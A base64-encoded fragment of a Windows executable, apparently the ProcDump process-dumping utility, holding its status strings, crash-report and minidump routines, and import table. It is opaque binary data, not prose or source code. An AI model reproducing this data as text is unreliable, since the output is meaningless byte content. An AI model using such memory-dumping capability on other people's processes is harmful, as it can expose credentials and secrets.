wBlAHMAcwBvAHIAIABzAGMAYQBsAGUAKQAgAGYAbwByACAAJQBsAGQAIABzAGUAYwBvAG4AZAAlAHMALgAgAFYAYQBsAHUAZQA6ACAAJQBkACUAJQAuACAASABvAHQAdABlAHMAdAAgAFQAaAByAGUAYQBkADoAIAAlAGQAIAAoADAAeAAlAHgAKQAuAAAAAAAAAAAAKgAqACoAIABQAHIAbwBjAGUAcwBzACAAZQB4AGMAZQBlAGQAZQBkACAAJQBkACUAJQAgAEMAUABVACAAKABzAHkAcwB0AGUAbQAgAHMAYwBhAGwAZQApACAAZgBvAHIAIAAlAGwAZAAgAHMAZQBjAG8AbgBkACUAcwAuACAAVgBhAGwAdQBlADoAIAAlAGQAJQAlAC4AIABIAG8AdAB0AGUAcwB0ACAAVABoAHIAZQBhAGQAOgAgACUAZAAgACgAMAB4ACUAeAApAC4AAAAAAEMAUABVAAAAKgAqACoAIABQAHIAbwBjAGUAcwBzACAAZABpAGQAbgAnAHQAIAB1AHQAaQBsAGkAegBlAGQAIAAlAGQAIABNAEIAIABjAG8AbQBtAGkAdAAgAHUAcwBhAGcAZQAgAGYAbwByACAAJQBsAGQAIABzAGUAYwBvAG4AZAAlAHMAOgAgACUAZAAgAE0AQgAAAAAAKgAqACoAIABQAHIAbwBjAGUAcwBzACAAZQB4AGMAZQBlAGQAZQBkACAAJQBkACAATQBCACAAYwBvAG0AbQBpAHQAIAB1AHMAYQBnAGUAIABmAG8AcgAgACUAbABkACAAcwBlAGMAbwBuAGQAJQBzADoAIAAlAGQAIABNAEIAAABDAG8AbQBtAGkAdAAAAAAAKgAqACoAIABDAG8AdQBuAHQAZQByACAAIgAlAHMAIgAgAGQAaQBkAG4AJwB0ACAAdQB0AGkAbABpAHoAZQBkACAAJQBJADYANABkACAAZgBvAHIAIAAlAGwAZAAgAHMAZQBjAG8AbgBkACUAcwAuACAAVgBhAGwAdQBlADoAIAAlAEkANgA0AGQAAAAAAAAAKgAqACoAIABDAG8AdQBuAHQAZQByACAAIgAlAHMAIgAgAGUAeABjAGUAZQBkAGUAZAAgACUASQA2ADQAZAAgAGYAbwByACAAJQBsAGQAIABzAGUAYwBvAG4AZAAlAHMALgAgAFYAYQBsAHUAZQA6ACAAJQBJADYANABkAAAAAABDAG8AdQBuAHQAZQByAAAAKgAqACoAIABIAHUAbgBnACAAdwBpAG4AZABvAHcAIABkAGUAdABlAGMAdABlAGQAOgAgACUAeAAAAAAASAB1AG4AZwAgAFcAaQBuAGQAbwB3AAAAAAAAACoAKgAqACAARgBpAHIAcwB0ACAAYwBoAGEAbgBjAGUAIABlAHgAYwBlAHAAdABpAG8AbgA6ACAAJQAwADgAWAAlAHMAAAAAACoAKgAqACAAVQBuAGgAYQBuAGQAbABlAGQAIABlAHgAYwBlAHAAdABpAG8AbgA6ACAAJQAwADgAWAAlAHMAAABFAHgAYwBlAHAAdABpAG8AbgAAACoAKgAqACAARABlAGIAdQBnACAATwB1AHQAcAB1AHQAIABTAHQAcgBpAG4AZwA6AAoAJQBzAAAARABlAGIAdQBnACAAUwB0AHIAaQBuAGcAAAAAACoAKgAqACAAUAByAG8AYwBlAHMAcwAgAHQAZQByAG0AaQBuAGEAdABpAG8AbgAAAFQAZQByAG0AaQBuAGEAdABpAG8AbgAAACoAKgAqACAASgB1AHMAdAAtAEkAbgAtAFQAaQBtAGUAIABkAGUAYgB1AGcAZwBlAHIALgAgAFAASQBEADoAIAAlAGwAZAAgAEUAdgBlAG4AdAAgAEgAYQBuAGQAbABlADoAIAAlAGwAZAAgAEoASQBUACAAQwBvAG4AdABlAHgAdAA6ACAALgBqAGQAaQBuAGYAbwAgADAAeAAlAEkANgA0AHgAAAAAAEEAZQBEAGUAYgB1AGcAAAAlADAAOABYAAAAAAB5AHkATQBNAGQAZAAAAAAASABIAG0AbQBzAHMAAAAAAFAAUgBPAEMARQBTAFMATgBBAE0ARQAAAFAASQBEAAAARQBYAEMARQBQAFQASQBPAE4AQwBPAEQARQAAAFkAWQBNAE0ARABEAAAAAABIAEgATQBNAFMAUwAAAAAALgBcAAAAAABcAAAARQByAHIAbwByACAAYwByAGUAYQB0AGkAbgBnACAAZAB1AG0AcAAgAGYAaQBsAGUAOgAKAAAAAABEAHUAbQBwACAAJQBsAGQAIAAlAHMAOgAgAAAAJQBzACAAJQBzADoAIAAAAFEAdQBlAHUAaQBuAGcAIAB0AG8AIABXAEUAUgAuAC4ALgAKAAAAAABFAHIAcgBvAHIAOgAgADAAeAAlADAAOABYADsAIABGAGEAaQBsAGUAZAAgAHQAbwAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAIABXAEUAUgAgAFIAZQBwAG8AcgB0AAoAAABGAGEAaQBsAGUAZAAgAHQAbwAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAIABXAEUAUgAgAFIAZQBwAG8AcgB0AAAAVAByAGkAZwBnAGUAcgAAACUAMAA4AHgAAAAAAEUAeABjAGUAcAB0AGkAbwBuAEMAbwBkAGUAAABTAGUAcwBzAGkAbwBuAEkARAAAAAAAAABFAHIAcgBvAHIAOgAgADAAeAAlADAAOABYADsAIABGAGEAaQBsAGUAZAAgAHQAbwAgAGEAZABkACAAZgBpAGwAZQAgAHQAbwAgAFcARQBSACAAUgBlAHAAbwByAHQAOgAgACUAcwAKAAAAAAAAAAAARgBhAGkAbABlAGQAIAB0AG8AIABhAGQAZAAgAGYAaQBsAGUAIAB0AG8AIABXAEUAUgAgAFIAZQBwAG8AcgB0ADoAIAAlAHMAAAAAAFcARQBSADoAIAAlAHMACgAAAAAARQByAHIAbwByADoAIAAwAHgAJQAwADgAWAA7ACAARgBhAGkAbABlAGQAIAB0AG8AIABzAHUAYgBtAGkAdAAgAFcARQBSACAAUgBlAHAAbwByAHQACgAAAEYAYQBpAGwAZQBkACAAdABvACAAcwB1AGIAbQBpAHQAIABXAEUAUgAgAFIAZQBwAG8AcgB0AAAAQQBsAHIAZQBhAGQAeQAgAGEAdAAgAGQAdQBtAHAAIABjAG8AdQBuAHQALgAKAAAAcwBrAGkAcABwAGkAbgBnAAAAAAAAAAAAVAByAGkAZwBnAGUAcgAgAG4AbwAgAGwAbwBuAGcAZQByACAAdABpAG0AZQBsAHkALgAgAFcAYQBpAHQAZQBkACAAJQAwAC4AMQBmACAAcwBlAGMAbwBuAGQAcwAgAGYAbwByACAAYQBuAG8AdABoAGUAcgAgAGQAdQBtAHAAIAB0AG8AIABjAG8AbQBwAGwAZQB0AGUALgAKAAAAAAAAAFAAcgBvAGMAZQBzAHMAIAB0AGUAcgBtAGkAbgBhAHQAZQBkACAAYgBlAGYAbwByAGUAIABjAGEAcAB0AHUAcgBlAC4ACgAAAG0AaQBzAHMAZQBkAAAAAABBAGwAcgBlAGEAZAB5ACAAYQB0ACAAYwBvAG4AYwB1AHIAcgBlAG4AdAAgAGwAaQBtAGkAdAA6ACAAJQBsAGQACgAAAGEAdgBvAGkAZABlAGQAAAAKACoAKgAqACAAdgBpAGEAIABQAHIAbwBjAGUAcwBzACAAUgBlAGYAbABlAGMAdABpAG8AbgAAAAoAKgAqACoAIAB2AGkAYQAgAFAAcgBvAGMAZQBzAHMAIABTAG4AYQBwAHMAaABvAHQAAAAKACoAKgAqACAAJQBzACUAcwAlAHMAJQBzACUAcwAAACUAcwAKAAAAaQBuAGkAdABpAGEAdABlAGQAAAAlAHMACgAlAHMAJQBzACUAcwAlAHMAAAAAAAAAewAwADcAZgBjADIAYgA5ADQALQA1ADIAOAA1AC0ANAAxADcAZQAtADgAYQBjADMALQBjADIAYwBlADUAMgA0ADAAYgAwAGYAYQB9AAAAAAAlAGwAZAAgAE0AQgAgAHcAcgBpAHQAdABlAG4AIABpAG4AIAAlADAALgAxAGYAIABzAGUAYwBvAG4AZABzAAoAAAAAAGsAZQByAG4AZQBsAAAAAABGAGEAaQBsAGUAZAA6ACAARQBsAGUAdgBhAHQAaQBvAG4AIABSAGUAcQB1AGkAcgBlAGQACgAAAEYAYQBpAGwAZQBkADoAIAAlADAAOABYAAoAAABNAGkAbgBpAFAAbAB1AHMAIABkAHUAbQBwAHMAIABhAHIAZQAgAGwAaQBtAGkAdABlAGQAIAB0AG8AIAA0AEcAQgAgAGIAeQAgAHQAaABlACAAQQBQAEkALgAKAEMAaABhAG4AZwBpAG4AZwAgAHQAbwAgAEYAdQBsAGwATQBpAG4AdQBzACAAbQBvAGQAZQAgAHQAbwAgAHMAdQBwAHAAbwByAHQAIABkAHUAbQBwAGkAbgBnACAAbQBvAHIAZQAgAHQAaABhAG4AIAA0AEcAQgAuAAoAAABFAHIAcgBvAHIAIAB3AHIAaQB0AGkAbgBnACAAZAB1AG0AcAAgAGYAaQBsAGUAOgAgADAAeAAlADAAOABYAAoAAAAAAGUAcgByAG8AcgAAAEUAcwB0AGkAbQBhAHQAZQBkACAAZAB1AG0AcAAgAGYAaQBsAGUAIABzAGkAegBlACAAa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AA4KEQAAAAAAAAAAAADAAAAAQAAAEgoRABAAAAAAAAAAAAAAACY70AAQAAAAAAAAAAAAAAAXu9AACIFkxkBAAAAfChEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////+gnEIAIgWTGQEAAACoKEQAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA/////9CcQgAiBZMZAQAAANQoRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAD/////EJ1CAAAAAAD+////AAAAAMz///8AAAAA/v///4MeQQCTHkEAAAAAAOw0QQAAAAAADClEAAIAAAAYKUQANClEABAAAAAgY0QAAAAAAP////8AAAAADAAAAIA0QQAAAAAAPGNEAAAAAAD/////AAAAAAwAAAAXfkEAAAAAAFhjRAAAAAAA/////wAAAAAMAAAAtjRBAAAAAAD3NEEAAAAAAHwpRAADAAAAjClEAFApRAA0KUQAAAAAAHhjRAAAAAAA/////wAAAAAMAAAAmzRBAAAAAAD3NEEAAAAAALgpRAADAAAAyClEAFApRAA0KUQAAAAAAJhjRAAAAAAA/////wAAAAAMAAAA0TRBAAAAAAD+////AAAAANT///8AAAAA/v///wAAAABlP0EAAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAMVDQQAAAAAA/v///wAAAADU////AAAAAP7///8AAAAA8EVBAAAAAAD+////AAAAANT///8AAAAA/v///wAAAABeRkEAAAAAAP7///8AAAAAxP///wAAAAD+////AAAAAMpKQQAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAeUtBAAAAAAD+////AAAAANT///8AAAAA/v///wAAAABpTkEAAAAAAP7///8AAAAAzP///wAAAAD+////AAAAAExPQQAAAAAAAAAAABZPQQD+////AAAAAND///8AAAAA/v///wAAAACHUEEAAAAAAP7///8AAAAAyP///wAAAAD+////AAAAAKZTQQAAAAAAAAAAANhSQQD+////AAAAANj///8AAAAA/v///wAAAAD9UUEAAAAAAP7///8AAAAA1P///wAAAAD+////AAAAALheQQAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAgWFBAAAAAAD+////AAAAANT///8AAAAA/v///wAAAABkYkEAAAAAAP7///8AAAAA0P///wAAAAD+////AAAAADNqQQAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAj25BAAAAAAD+////AAAAAND///8AAAAA/v///wAAAABUb0EAAAAAAP7///8AAAAAzP///wAAAAD+////g3FBAJdxQQAAAAAA/v///wAAAADY////AAAAAP7///9Lp0EAZ6dBAAAAAAD+////AAAAANT///8AAAAA/v///wAAAAA0qUEAAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAHOsQQAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAHLBBAAAAAAD+////AAAAAND///8AAAAA/v///wAAAACXsUEAAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAIm1QQD+////AAAAAJW1QQD+////AAAAANj///8AAAAA/v///wAAAADDtkEA/v///wAAAADStkEA/v///wAAAADY////AAAAAP7///8AAAAAt7dBAAAAAAD+////AAAAANj///8AAAAA/v///wAAAABayEEAAAAAAP7///8AAAAA2P///wAAAAD+////+c1BAAzOQQAAAAAA/v///wAAAADY////AAAAAP7////YzkEA3M5BAAAAAAD+////AAAAANj///8AAAAA/v///6TOQQCozkEAAAAAAP7///8AAAAAvP///wAAAAD+////AAAAALHQQQAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAzNFBAAAAAAD+////AAAAAND///8AAAAA/v///wAAAABC0kEAAAAAAP7///8AAAAAzP///wAAAAD+////AAAAAOrWQQAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAA0tdBAAAAAAD+////AAAAAHz///8AAAAA/v///wAAAAAQ40EAAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAKPlQQAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAyepBAAAAAAD+////AAAAAND///8AAAAA/v///wAAAABQK0IAAAAAABUrQgAfK0IA/v///wAAAACw////AAAAAP7///8AAAAAAyFCAAAAAABXIEIAYSBCAP7///8AAAAA2P///wAAAAD+////dyhCAHsoQgAAAAAA/v///wAAAADY////AAAAAP7///9MH0IAVR9CAEAAAAAAAAAAAAAAALAhQgD/////AAAAAP////8AAAAAAAAAAAAAAAABAAAAAQAAAFQvRAAiBZMZAgAAAGQvRAABAAAAdC9EAAAAAAAAAAAAAAAAAAEAAAAAAAAA/v///wAAAADU////AAAAAP7///8yKkIANipCAAAAAACSH0IAAAAAANwvRAACAAAA6C9EADQpRAAAAAAA0GNEAAAAAAD/////AAAAAAwAAAB3H0IAAAAAAP7///8AAAAAyP///wAAAAD+////AAAAAC05QgAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAA+k1CAAAAAAD+////AAAAAMz///8AAAAA/v///wAAAACJV0IAAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAHpkQgCwMwQAAAAAAAAAAACUNAQAPKICABA0BAAAAAAAAAAAAOA0BACcogIAyDMEAAAAAAAAAAAA+DQEAFSiAgDYMQQAAAAAAAAAAABuOgQAZKACANAzBAAAAAAAAAAAAHY7BABcogIAvDEEAAAAAAAAAAAAzDsEAEigAgC0MQQAAAAAAAAAAADiOwQAQKACAHQxBAAAAAAAAAAAAAo9BAAAoAIAwDMEAAAAAAAAAAAALj0EAEyiAgAgNAQAAAAAAAAAAACiPQQArKICADg0BAAAAAAAAAAAAAI+BADEogIAAAAAAAAAAAAAAAAAAAAAAAAAAADgPAQAyjwEALI8BACaPAQAhjwEAHQ8BABkPAQAUjwEAEA8BAAyPAQAIjwEABQ8BAAAPAQA8DsEAPI8BAAAAAAA1jsEAAAAAAC2OwQApjsEAJg7BACMOwQAgjsEAMI7BAAAAAAADjYEACY2BAA0NgQASjYEAFI2BABqNgQAfjYEAI42BACiNgQAsDYEAMY2BADgNgQA8DYEAP42BAAONwQAIDcEADQ3BABQNwQAXjcEAHA3BACGNwQAnDcEAKw3BAC8NwQAzDcEAOI3BAD2NwQABDgEABQ4BAAkOAQAQDgEAFI4BABoOAQAfDgEAJQ4BACoOAQAyjgEAPY1BAD8OAQADjkEAB45BAA4OQQASjkEAF45BAB6OQQAkDkEAJ45BACuOQQAvDkEAMw5BADaOQQA7DkEAAA6BAASOgQAJjoEADo6BABKOgQAXDoEANRABADGQAQArEAEAJJABAB4QAQAXkAEAExABAA8QAQAKEAEABxABADSPgQACkAEAPg/BADuPwQA6jUEANI1BAC6NQQAqjUEAJQ1BAB6NQQAiDUEAFo1BABsNQQASjUEADo1BAAmNQQAFDUEAAQ1BADkQAQA+kAEAApBBADkPgQA8D4EAPw+BADkOAQAGkEEAOA/BADSPwQAxj8EAJ4/BACAPwQAZD8EAFg/BABGPwQAMD8EACQ/BAAYPwQACj4EABo+BAAqPgQANj4EAEI+BABUPgQAaD4EAHo+BACQPgQApj4EALY+BAAOPwQAAAAAAHg0BABiNAQATDQEAAAAAAAYPQQAAAAAAOw0BAAAAAAAnjoEAI46BAB8OgQAvjoEAMw6BADaOgQA6DoEALI6BAAcOwQAajsEAFg7BAA4OwQASjsEAA47BAACOwQAAAAAAJ40BADONAQAtDQEAAAAAAB8PQQAXj0EADo9BABMPQQAkD0EAAAAAADaPQQArD0EAMo9BADsPQQAAAAAAA4AR2V0TW9kdWxlQmFzZU5hbWVXAAAEAEVudW1Qcm9jZXNzTW9kdWxlcwAAFABHZXRQcm9jZXNzSW1hZ2VGaWxlTmFtZVcAAFBTQVBJLkRMTAAGAEdldEZpbGVWZXJzaW9uSW5mb1cABQBHZXRGaWxlVmVyc2lvbkluZm9TaXplVwAOAFZlclF1ZXJ5VmFsdWVXAABWRVJTSU9OLmRsbABFAVN0clN0cklXAABTSExXQVBJLmRsbACFAENyZWF0ZUV2ZW50VwAAhwFHZXRDb21tYW5kTGluZVcAGAJHZXRNb2R1bGVIYW5kbGVXAAA/A0xvYWRMaWJyYXJ5VwAAZAJHZXRTdGRIYW5kbGUAAEUCR2V0UHJvY0FkZHJlc3MAAEQDTG9jYWxBbGxvYwAA8wFHZXRGaWxlVHlwZQBIA0xvY2FsRnJlZQAUAkdldE1vZHVsZUZpbGVOYW1lVwAApAJHZXRWZXJzaW9uRXhXAO8CSW50ZXJsb2NrZWRJbmNyZW1lbnQAAOsCSW50ZXJsb2NrZWREZWNyZW1lbnQAAFkEU2V0RXZlbnQAADkDTGVhdmVDcml0aWNhbFNlY3Rpb24AAO4ARW50ZXJDcml0aWNhbFNlY3Rpb24AAFIAQ2xvc2VIYW5kbGUA+QRXYWl0Rm9yU2luZ2xlT2JqZWN0ALIEU2xlZXAA0QBEZWxldGVDcml0aWNhbFNlY3Rpb24AhgJHZXRUaHJlYWRDb250ZXh0AACTAkdldFRpY2tDb3VudAAAwwNSZWFkUHJvY2Vzc01lbW9yeQCFA09wZW5UaHJlYWQAAMUARGVidWdBY3RpdmVQcm9jZXNzAADGAERlYnVnQWN0aXZlUHJvY2Vzc1N0b3AAAE4BRmluZFJlc291cmNlVwBiAUZyZWVMaWJyYXJ5AEEDTG9hZFJlc291cmNlAACoAENyZWF0ZVByb2Nlc3NXAADAAUdldEN1cnJlbnRQcm9jZXNzAOICSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbgCAA09wZW5Qcm9jZXNzALEEU2l6ZW9mUmVzb3VyY2UAAN8BR2V0RXhpdENvZGVQcm9jZXNzAADqAUdldEZpbGVBdHRyaWJ1dGVzVwAAAgJHZXRMYXN0RXJyb3IAAHMEU2V0TGFzdEVycm9yAABUA0xvY2tSZXNvdXJjZQAAZwBDb250aW51ZURlYnVnRXZlbnQAAPYEV2FpdEZvckRlYnVnRXZlbnQA1gBEZWxldGVGaWxlVwATBFJlc3VtZVRocmVhZAAAtQBDcmVhdGVUaHJlYWQAAB0BRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzVwBeAUZvcm1hdE1lc3NhZ2VXAABnA011bHRpQnl0ZVRvV2lkZUNoYXIAwARUZXJtaW5hdGVQcm9jZXNzAAAtBFNldENvbnNvbGVDdHJsSGFuZGxlcgD7AUdldEZ1bGxQYXRoTmFtZVcAAL4EU3lzdGVtVGltZVRvVHpTcGVjaWZpY0xvY2FsVGltZQDbAUdldEVudmlyb25tZW50VmFyaWFibGVBAL8BR2V0Q3VycmVudERpcmVjdG9yeVcAAJYDUHJvY2VzczMyRmlyc3RXAHMCR2V0U3lzdGVtSW5mbwD3BFdhaXRGb3JNdWx0aXBsZU9iamVjdHMAAJgDUHJvY2VzczMyTmV4dFcAAAADSXNEZWJ1Z2dlclByZXNlbnQAvgBDcmVhdGVUb29saGVscDMyU25hcHNob3QAAMEBR2V0Q3VycmVudFByb2Nlc3NJZADHAERlYnVnQnJlYWsAAHcCR2V0U3lzdGVtVGltZQCPAENyZWF0ZUZpbGVXAPEBR2V0RmlsZVNpemVFeAAZAUV4aXRQcm9jZXNzAMgBR2V0RGF0ZUZvcm1hdFcAAGcEU2V0RmlsZVBvaW50ZXJFeAAAlwJHZXRUaW1lRm9ybWF0VwAA/gNSZWxlYXNlU2VtYXBob3JlAACuAENyZWF0ZVNlbWFwaG9yZVcAAEwCR2V0UHJvY2Vzc0lkAADdAERldmljZUlvQ29udHJvbADyBFZpcnR1YWxRdWVyeUV4AABLRVJORUwzMi5kbGwAAMsCU2V0V2luZG93VGV4dFcAAHwCU2VuZE1lc3NhZ2VXAAB8AUdldFN5c0NvbG9yQnJ1c2gAANoARW5kRGlhbG9nACcBR2V0RGxnSXRlbQAAtQFJbmZsYXRlUmVjdADrAUxvYWRDdXJzb3JXAKoARGlhbG9nQm94SW5kaXJlY3RQYXJhbVcAiAJTZXRDdXJzb3IA+QFMb2FkU3RyaW5nQQCkAUdldFdpbmRvd1RocmVhZFByb2Nlc3NJZAAA4AFJc1dpbmRvd1Zpc2libGUA8gBFbnVtV2luZG93cwDQAUlzSHVuZ0FwcFdpbmRvdwAzA3dzcHJpbnRmVwBVU0VSMzIuZGxsAADvAEVuZERvYwAAsAJTdGFydERvY1cAlAJTZXRNYXBNb2RlAADLAUdldERldmljZUNhcHMAsgJTdGFydFBhZ2UA8gBFbmRQYWdlAEdESTMyLmRsbAAVAFByaW50RGxnVwBDT01ETEczMi5kbGwAAGQCUmVnQ3JlYXRlS2V5VwCWAlJlZ1F1ZXJ5VmFsdWVFeFcAAIwCUmVnT3BlbktleVcAiQJSZWdPcGVuS2V5RXhXAFgCUmVnQ2xvc2VLZXkApgJSZWdTZXRWYWx1ZUV4VwAAYQJSZWdDcmVhdGVLZXlFeFcAbAJSZWdEZWxldGVLZXlXAHACUmVnRGVsZXRlVmFsdWVXABICT3BlblByb2Nlc3NUb2tlbgAArQFMb29rdXBQcml2aWxlZ2VWYWx1ZVcAHwBBZGp1c3RUb2tlblByaXZpbGVnZXMAZQBDbG9zZVNlcnZpY2VIYW5kbGUAABQCT3BlblNDTWFuYWdlclcAABIBRW51bVNlcnZpY2VzU3RhdHVzRXhXAEFEVkFQSTMyLmRsbAAABgBDb21tYW5kTGluZVRvQXJndlcAAFNIRUxMMzIuZGxsAGwAQ29VbmluaXRpYWxpemUAAD8AQ29Jbml0aWFsaXplRXgAAAoAQ29BbGxvd1NldEZvcmVncm91bmRXaW5kb3cAABAAQ29DcmVhdGVJbnN0YW5jZQAACABDTFNJREZyb21TdHJpbmcAb2xlMzIuZGxsAEEAUGRoR2V0Rm9ybWF0dGVkQ291bnRlclZhbHVlAFcAUGRoT3BlblF1ZXJ5VwADAFBkaEFkZENvdW50ZXJXAAASAFBkaENvbGxlY3RRdWVyeURhdGEAcGRoLmRsbADqAEVuY29kZVBvaW50ZXIAygBEZWNvZGVQb2ludGVyAM8CSGVhcEZyZWUAAMsCSGVhcEFsbG9jAKwBR2V0Q29uc29sZU1vZGUAALUDUmVhZENvbnNvbGVJbnB1dEEAPQRTZXRDb25zb2xlTW9kZQAAFwJHZXRNb2R1bGVIYW5kbGVFeFcAABEFV2lkZUNoYXJUb011bHRpQnl0ZQCHBFNldFN0ZEhhbmRsZQAABANJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50ALEDUmFpc2VFeGNlcHRpb24AABgEUnRsVW53aW5kANQCSGVhcFNpemUAAAoDSXNWYWxpZENvZGVQYWdlAGgBR2V0QUNQ